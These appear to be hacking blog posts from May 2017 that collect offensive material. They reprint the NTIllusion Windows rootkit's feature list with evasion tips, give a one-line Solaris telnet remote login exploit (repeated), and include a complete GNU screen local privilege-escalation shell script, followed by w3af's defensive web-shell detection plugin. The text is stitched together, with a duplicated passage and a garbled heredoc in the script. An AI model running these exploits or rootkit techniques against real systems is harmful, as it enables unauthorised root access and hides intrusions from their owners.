Tuesday, May 30, 2017
DO YOU KNOW WHAT A ROOTKIT IS??? CHECK THIS ONE:
I/ Features (*) :
-------------
---------------------------------------------------------------------------
o TCP - coder - - hooked api(s) -
---------------------------------------------------------------------------
- defeats netstat (windows) CharToOembufA
- defeats aports (ntutility.com) AllocAndGetTCPExTableFromStack
- defeats fport (foundstone) AllocAndGetTCPExTableFromStack
** - disables tcpview (sysinternals) AllocAndGetTCPExTableFromStack
& whole program disabled
- defeats any program that rely directly (or by using GetProcAddress) on
AllocAndGetTCPExTableFromStack
---------------------------------------------------------------------------
o FILES
---------------------------------------------------------------------------
- defeats explorer (windows) FindFirst/NextFileA/W
- defeats cmd's dir (windows) WriteConsoleW(/A)
- defeats any program that rely directly (or by using GetProcAddress) on
FindFirst/NextFileA/W
---------------------------------------------------------------------------
o PROCESSES
---------------------------------------------------------------------------
- defeats taskmanager (windows) NtQuerySystemInformation
- disables Process Explorer (sysinternals) NtQuerySystemInformation
- defeats any program that rely directly (or by using GetProcAddress) on
NtQuerySystemInformation
---------------------------------------------------------------------------
o REGISTRY
---------------------------------------------------------------------------
- defeats regedit (windows) RegEnumValue
- defeats any program that rely directly (or by using GetProcAddress) on
RegEnumValue
---------------------------------------------------------------------------
Notes :
-------
* Any process whose executable name or command line contains RTK_FILE_CHAR
will not be hijacked (backdoor)
II/ Details :
-------------
<------------->
C:\>kNTIllusionLoader.exe kNTIllusion.dll
Running NTIllusion Rootkit Loader v 0.1 by Kdm (kodmaker@netcourrier.com)
OK
C:\>
Debug View :
- Rootkit injected into 'c:\windows\explorer.exe', fixing modules...
...
- # Hooked CreateProcessW : - "C:\aports.exe" , injecting rootkit
(c:\kntillusion.dll)...
- Rootkit injected into 'c:\aports.exe', fixing modules...
- Spreading across userland : injected into 'c:\aports.exe', fixing modules...
- 'c:\aports.exe' : all modules reviewed.
---------------------------------------------------------------------------
o TCP
---------------------------------------------------------------------------
NTIllusion hooks AllocAndGetTCPExTableFromStack to make programs hide some
(strategic ? :]) tcp ports. These "hidden ports" belong to range from
RTK_PORT_HIDE_MIN to RTK_PORT_HIDE_MAX. This is done by hijacking
AllocAndGetTCPExTableFromStack for all programs (NT latests versions) and
CharToOembufA (netstat output).
= Demo =
C:\>nc -lp 56788
C:\>netstat -an
Debug View : [!] NTIllusion made a port hidden (5678* range)
C:\>aports.exe
Debug View : [!] NTIllusion made a TCP socket hidden for process nc.exe (1884)
---------------------------------------------------------------------------
---------------------------------------------------------------------------
o PROCESS
---------------------------------------------------------------------------
NTIllusion hooks NtQuerySystemInformation to make programs hide some
(strategic ? :]) process. So all process whose file name starts by
RTK_PROCESS_CHAR will be hidden.
= Demo =
C:\>_ntibackdoor.exe
Debug View : [!] NTIllusion made the process '_ntibackdoor.exe' hidden.
Note : the SendMessageW hook for taskmgr.exe is available for test purpose.
---------------------------------------------------------------------------
---------------------------------------------------------------------------
o FILES
---------------------------------------------------------------------------
NTIllusion hooks FindFirstFileA/W, FindNextFileA/W to make programs hide
some (strategic ? :]) files. Contrary to the registry hook engine, a hidden
file with a prefix that sits in a lower position than an other file's one
in ASCII table won't prevent them from being shown. So a hidden file named
abcd.exe won't hide bcde.exe and so on. All files whose name start by
RTK_FILE_CHAR will be hidden.
= Demo =
echo rootkitloaded > c:\_ntimsg.txt
C:\>dir c:\*.*
Debug View : [!] NTIllusion made the file : '_ntimsg.txt' invisible.
Browse to c:\ :
Debug View : [!] NTIllusion made the file : '_ntimsg.txt' invisible.
---------------------------------------------------------------------------
---------------------------------------------------------------------------
o REGISTRY
---------------------------------------------------------------------------
NTIllusion hooks regedit to make it hide some (strategic ? :]) registry keys.
Regedit won't see all keys starting by string RTK_REG_CHAR (_nti by default).
Indeed, we return a value that means the end of the keys list. That's why you
must be prudent when choosing RTK_REG_CHAR because a too global prefix will
also hide normal keys and may bring the user suspicion.
= Examples =
- Bad prefix : using _ char as rootkit's tag could hide other keys whose
first char's ascii code is greater than _ one, since keys are retrieved in
lexicographic order by default.
- Correct prefix : using char © prevent us the effort of returning the next
correct key (if it exists) since registry key names are most of the time
composed of alphanumeric tokens.
= Demo =
C:\>regedit.exe
Debug View : [!] NTIllusion made the key '_ntiKdm' (and all subsequent keys)
hidden.
---------------------------------------------------------------------------
III/ Comments :
---------------
- fixed debug output function : rootkit now sends a whole string instead of
unformatted parts
- you can solve self tcp scan (instead of netsat) problem by using a
reverse connection backdoor
- beware : dll may be revealed by Sygate personal firewall that contains
a dll injection couterfighting mechanism. So name this dll properly !
(ie not backdoor.dll ... but system.dll)
IV/ Todo :
----------
- port NT ILLUSION to win 9x (yes, it's possible)
- hijack LoadLibraryW & CreateProcessA
- code a routine that scans all process from explorer's process and try to
inject them (this will inject console programs launched before the rootkit
is loaded or graphic process not brought to foreground but able to reveal
us: for example, ftp servers)) by using no privilege, then the
SeDebugPrivilege (if possible)
*****************************************************************************/
https://github.com/bowlofstew/rootkit.com/tree/master/kdm/NTIllusion
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Monday, May 29, 2017
Trivial remote Solaris 0day, disable telnet now.
Oh jeez, that’s not good. This was posted to Full-Disclosure. Remote root exploit in the Solaris 10/11 telnet daemon. It doesn’t require any skill, any exploit knowledge, and can be scripted for mass attacks. Basically if you pass a “-fusername” as an argument to the –l option you get full access to the OS as the user specified. In my example I do it as bin but it worked for regular users, just not for root. This combined with a reliable local privilege escalation exploit would be devastating. Expect mass scanning and possibly the widespread exploitation of this vulnerability.
And example of the command line is
telnet -l "-fbin" target_address
Please disable telnet on Solaris at this time. The HEV for this will be shipping to ErrataSec customers within the hour.
UPDATE: There seems to be some conflicting reports about this vulnerability working with the root account. This does not work on a default install of Solaris 10. By default a variable is set in /etc/default/login called CONSOLE. If this variable is set then root is not allowed to login from anywhere but the console. Commenting this variable out allows root to login from anywhere and allows this vulnerability to take advantage of the telnet exploit. Below is a pic of my trying it with console set then with console commented out.
http://blog.erratasec.com/2007/02/trivial-remote-solaris-0day-disable.html#.WSxAPOvyuds
And example of the command line is
telnet -l "-fbin" target_address
Please disable telnet on Solaris at this time. The HEV for this will be shipping to ErrataSec customers within the hour.
UPDATE: There seems to be some conflicting reports about this vulnerability working with the root account. This does not work on a default install of Solaris 10. By default a variable is set in /etc/default/login called CONSOLE. If this variable is set then root is not allowed to login from anywhere but the console. Commenting this variable out allows root to login from anywhere and allows this vulnerability to take advantage of the telnet exploit. Below is a pic of my trying it with console set then with console commented out.
DoD
**DO NOT DISTRIBUTE**
#
SCREEN=/usr/bin/screen
umask 0
if [ ! -x $SCREEN ]; then
echo "I can't execute $SCREEN..."
exit 0
fi
LINK=`echo $HOME|awk '{print $1 " "}'`.pts-00.dupa
if [ -f "$LINK" ]; then
echo "DAMN. I don't have usable pts socket available..."
exit 0
fi
echo -ne "Finding root owned tty...\t\t"
unset TTY
for x in /dev/tty[0-9]* /dev/pts/? /dev/pts?? ; do
if [ "`ls -ln $x|awk {'print $3'}`" = "0" ]; then
TTY="$x"
break
fi
done
echo -n "$TTY"
if [ "$TTY" = "" ]; then
echo -e "\nI can't find a root owned tty!"
exit 0
fi
if [ ! -w $HOME -o ! -w /tmp ]; then
echo -e "\nI can't write $HOME/.screenrc or to /tmp..."
exit 0
fi
cat >$HOME/.screenrc <<_eof_ -aa="" -c="" -d="" -m="" -ne="" -q="" -s="" 00="" 100="" _eof_="" amp="" autodetach="" defscrollback="" defsocketpath="" echo="" hs:ts="\E_:fs=\E\\:ds=\E_\E\\" nstarting="" on="" screen...="" screenrc="" t="" termcapinfo="" vbell="">/dev/null &
SCPID=`echo $!`
echo -n "PID: $SCPID"
while :; do
sleep 1
if [ "$#" -ge "0" ]; then
break
fi
done
cd /tmp
ln -fs $LINK $HOME/ &>/dev/null
echo -ne "\nWaiting for socket to be created...\t"
CNT=5 # Timeout
while [ "$CNT" -gt "0" -a ! -f "$LINK" ]; do
let CNT=$CNT-1
sleep 1
done
echo -n "Done."
echo -ne "\nLinking to root owned terminal...\t\t"
ln -fs $TTY $LINK &>/dev/null
echo -ne "\nComplete. Now do \"$SCREEN -r 00\".\nCleaning up..."
$SCREEN -wipe &>/dev/null &
rm -fr $HOME/.screenrc $LINK &>/dev/null
echo -ne "\rComplete.\n"
exit 1
[END_CUT] screen.sh
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findBackdoor.py
class findBackdoor(baseDiscoveryPlugin): 00124 ''' 00125 Find web backdoors and web shells. 00126 @author: Andres Riancho ( andres.riancho@gmail.com ) 00127 ''' 00128 00129 def __init__(self): 00130 baseDiscoveryPlugin.__init__(self) 00131 00132 # Internal variables 00133 self._analyzed_dirs = disk_list() 00134 self._fuzzable_requests_to_return = [] 00135 00136 def discover(self, fuzzableRequest): 00137 ''' 00138 For every directory, fetch a list of shell files and analyze the response. 00139 00140 @parameter fuzzableRequest: A fuzzableRequest instance that contains 00141 (among other things) the URL to test. 00142 ''' 00143 domain_path = fuzzableRequest.getURL().getDomainPath() 00144 self._fuzzable_requests_to_return = [] 00145 00146 if domain_path not in self._analyzed_dirs: 00147 self._analyzed_dirs.append(domain_path) 00148 00149 # Search for the web shells 00150 for web_shell_filename in WEB_SHELLS: 00151 web_shell_url = domain_path.urlJoin(web_shell_filename) 00152 # Perform the check in different threads 00153 targs = (web_shell_url,) 00154 self._tm.startFunction(target=self._check_if_exists, 00155 args=targs, ownerObj=self) 00156 00157 # Wait for all threads to finish 00158 self._tm.join(self) 00159 00160 return self._fuzzable_requests_to_return 00161 00162 00163 def _check_if_exists(self, web_shell_url): 00164 ''' 00165 Check if the file exists. 00166 00167 @parameter web_shell_url: The URL to check 00168 ''' 00169 try: 00170 response = self._urlOpener.GET(web_shell_url, useCache=True) 00171 except w3afException: 00172 om.out.debug('Failed to GET webshell:' + web_shell_url) 00173 else: 00174 if self._is_possible_backdoor(response): 00175 v = vuln.vuln() 00176 v.setPluginName(self.getName()) 00177 v.setId(response.id) 00178 v.setName('Possible web backdoor') 00179 v.setSeverity(severity.HIGH) 00180 v.setURL(response.getURL()) 00181 msg = 'A web backdoor was found at: "%s"; this could ' \ 00182 'indicate that the server was hacked.' % v.getURL() 00183 v.setDesc(msg) 00184 kb.kb.append(self, 'backdoors', v) 00185 om.out.vulnerability(v.getDesc(), severity=v.getSeverity()) 00186 00187 fuzzable_requests = self._createFuzzableRequests(response) 00188 self._fuzzable_requests_to_return += fuzzable_requests 00189 00190 def _is_possible_backdoor(self, response): 00191 ''' 00192 Heuristic to infer if the content ofhas the pattern of a 00193 backdoor response. 00194 00195 @param response: httpResponse object 00196 @return: A bool value 00197 ''' 00198 if not is_404(response): 00199 body_text = response.getBody() 00200 dom = response.getDOM() 00201 if dom: 00202 for ele, attrs in BACKDOOR_COLLECTION.iteritems(): 00203 for attrname, attr_vals in attrs.iteritems(): 00204 # Set of lowered attribute values 00205 dom_attr_vals = \ 00206 set(n.get(attrname).lower() for n in \ 00207 (dom.xpath('//%s[@%s]' % (ele, attrname)))) 00208 # If at least one elem in intersection return True 00209 if (dom_attr_vals and set(attr_vals)): 00210 return True 00211 00212 # If no regex matched then try with keywords. At least 2 should be 00213 # contained in 'body_text' to succeed. 00214 times = 0 00215 for back_kw in KNOWN_OFFENSIVE_WORDS: 00216 if re.search(back_kw, body_text, re.I): 00217 times += 1 00218 if times == 2: 00219 return True 00220 return False 00221 00222 def getOptions(self): 00223 ''' 00224 @return: A list of option objects for this plugin. 00225 ''' 00226 ol = optionList() 00227 return ol 00228 00229 def setOptions(self, OptionList): 00230 ''' 00231 This method sets all the options that are configured using the user interface 00232 generated by the framework using the result of getOptions(). 00233 00234 @parameter OptionList: A dictionary with the options for the plugin. 00235 @return: No value is returned. 00236 ''' 00237 pass 00238 00239 def getPluginDeps(self): 00240 ''' 00241 @return: A list with the names of the plugins that should be runned before the 00242 current one. 00243 ''' 00244 return [] 00245 00246 def getLongDesc(self): 00247 ''' 00248 @return: A DETAILED description of the plugin functions and features. 00249 ''' 00250 return ''' 00251 This plugin searches for web shells in the directories that are sent as input. 00252 For example, if the input is: 00253 - http://host.tld/w3af/f00b4r.php 00254 00255 The plugin will perform these requests: 00256 - http://host.tld/w3af/c99.php 00257 - http://host.tld/w3af/cmd.php 00258 - http://host.tld/w3af/webshell.php 00259 ... 00260 '''
https://sourcecodebrowser.com/w3af/1.0.0/find_backdoor_8py_source.html
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